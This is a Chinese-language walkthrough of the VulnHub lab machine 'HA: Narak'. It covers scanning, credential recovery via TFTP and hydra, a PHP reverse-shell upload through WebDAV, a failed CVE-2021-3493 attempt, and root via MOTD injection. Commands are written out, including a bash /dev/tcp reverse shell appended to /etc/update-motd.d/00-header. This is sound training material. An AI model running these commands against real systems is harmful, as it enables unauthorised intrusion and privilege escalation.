一、靶机介绍

下载地址:HA: Narak ~ VulnHub

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 密码字典定制
  • 爆破密码
  • webdav漏洞
  • PUT方法上传
  • BF语言解码
  • MOTD注入
  • CVE-2021-3493提权

二、主机发现

arp-scan -l

靶机地址为193.168.43.149

image-20240903165126534

三、端口扫描

nmap -p- 192.168.43.149
nmap -p22,80 -sV -sC 192.168.43.149

80和22端口开放

image-20240903165307738

四、目录扫描

直接访问web页面发现就几张图片没有获得什么有用的信息

dirsearch -u "http://192.168.43.149/"

发现存在webdav这个目录

image-20240903190347311

image-20240903165802824

访问反正需要账号和密码

image-20240903165822053

暂时没有获取到更多的信息,换了一个大字典重新扫描了一次

gobuster dir -u "http://192.168.43.149/" -w /usr/share/wordlists/dirb/big.txt -x txt,php,html,jsp

image-20240903170557893

发现存在一个tips.txt这个记事本

提示信息是找creds.txt这个记事本,但是直接访问了一下,发现访问不成功这个路径

image-20240903170611257

五、webdav账号密码

5.1、tftp利用

这个方法是我在网上搜wp时发现的一种方式,之前没见过这种方式,记录一下

在前面使用nmap扫描开放端口时,我们平常都是只注意tcp协议的开放的端口,这个是在扫描端口是时扫完tcp开放的,把upd协议的也扫描一下,发现tftp服务也在运行中

nmap -sU 192.168.43.149 --top-port 20

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69

--top-port 20 :指定扫描最常见的20个端口,可以节省时间和资源。

-sU :使用UDP扫描,即发送UDP数据包到目标主机的端口,根据响应判断端口是否开放。

image-20240903172120313

直接使用tftp,get到账号cred.txt这个记事本,其实我感觉这种方式,才是靶机作者设想的获得方式。

tftp 192.168.43.149
get creds.txt
cat creds.txt
echo "eWFtZG9vdDpTd2FyZw==" | base64 -d

yamdoot:Swarg

image-20240903171324018

5.2、定制字典

使用cewl定制爆破账号密码,通过cewl爬取网站的信息,生成一个关于这个网站的账号密码,然后再使用hydra爆破,这样也能成功爆破出账号密码

cewl http://192.168.43.149/ -w dict.txt
hydra -L dict.txt -P dict.txt 192.168.43.149 http-get /webdav -v

image-20240903172719256

登录成功,但是里面什么都没有。。。。。

image-20240903172837482

六、webdav漏洞

使用kali自带关于检测webdav的工具

davtest

查看用法

image-20240903174255495

davtest -auth yamdoot:Swarg -url http://192.168.43.149/webdav/

auth 指定一下账号密码

根据工具运行结果,发现可以成功上传php,并能执行成功

image-20240903174304873

七、反弹shell

将反弹shell的webshell复制到桌面上,然后自己更改一下ip和端口

cp /usr/share/webshells/php/php-reverse-shell.php .
vim php-reverse-shell.php # 更改ip和端口
davtest -auth yamdoot:Swarg -url http://192.168.43.149/webdav/ -uploadfile php-reverse-shell.php -uploadloc 3.php

根据用法写入webshell

uploadfile:指定你上传的文件

uploadloc:上传后的命名

image-20240903175629432

监听端口,访问这个页面,即可反弹成功

image-20240903175413285

使用python换一下shell命令行

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20240903175846416

八、提权(两种方式)

8.1、CVE-2021-3493

uname -a

发现内核版本为Ubuntu18,还是能使用CVE-2021-3493提权成功

image-20240903181121502

根据内核版本和内核发布时间,你的 Ubuntu 版本应该是 Ubuntu 18.04 LTS (Bionic Beaver)。

这个内核版本 4.15.0-20-generic 是在 Ubuntu 18.04 的早期更新中使用的,并且内核编译日期为 2018 年 4 月 24 日,与 Ubuntu 18.04 LTS 的发布时间相吻合

GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc

这里如果kali是新版的话,编译后不能再靶机中运行成功,因为gcc版本不同,再docker中起一个对应靶机版本的Ubuntu,进行编译再传到靶机中执行,我这里没有执行提权成功,懒得折腾了。

gcc exploit.c -o exp
nc -v 192.168.43.149 < exp #kali中运行传输
nc -lv 5555 > exp # 靶机中运行,接收文件

image-20240903182214682

image-20240903182253042

再kali中编译好,传输到靶机中运行报的错误,gcc版本不同

./exp
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found (required by ./exp)

8.2、MOTD注入

使用命令找出权限异常文件

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

-perm -ug=x,o=w:用户组具有可执行权限,其他用户具有写权限

用户是root的

image-20240903182940237

进行解密

Brainfuck/OoK加密解密 - Bugku CTF

chitragupt

image-20240903183404489

发现家目录下,存在三个用户,一个个尝试一下。

ls /home
su inferno

chitragupt

image-20240903183537237

登录之后,再用户目录下,发现第一个flag

然后就没获取到其他新的有用信息了,继续查找权限有问题的文件

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

发现motd这个文件有点异常

MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell

image-20240903184143960

echo 'bash -c "bash -i >& /dev/tcp/192.168.43.130/6666 0>&1"' >> /etc/update-motd.d/00-header					# 这里因为我使用vi遍文件时,老是出问题,就是用echo直接追加了
ssh inferno@192.168.43.149 # 写入后,重新使用ssh触发一下,motd文件执行

切记使用ssh连接触发,不要使用su切换,使用su切换motd文件不会触发

image-20240903185855603

image-20240903185903393

参考:Vulnhub-Narak靶场-CSDN博客

vulnhub-Narak通关记录 | Peony (peonycsa.com)

Vulnhub打靶记录:narak - C_CHL - 博客园 (cnblogs.com)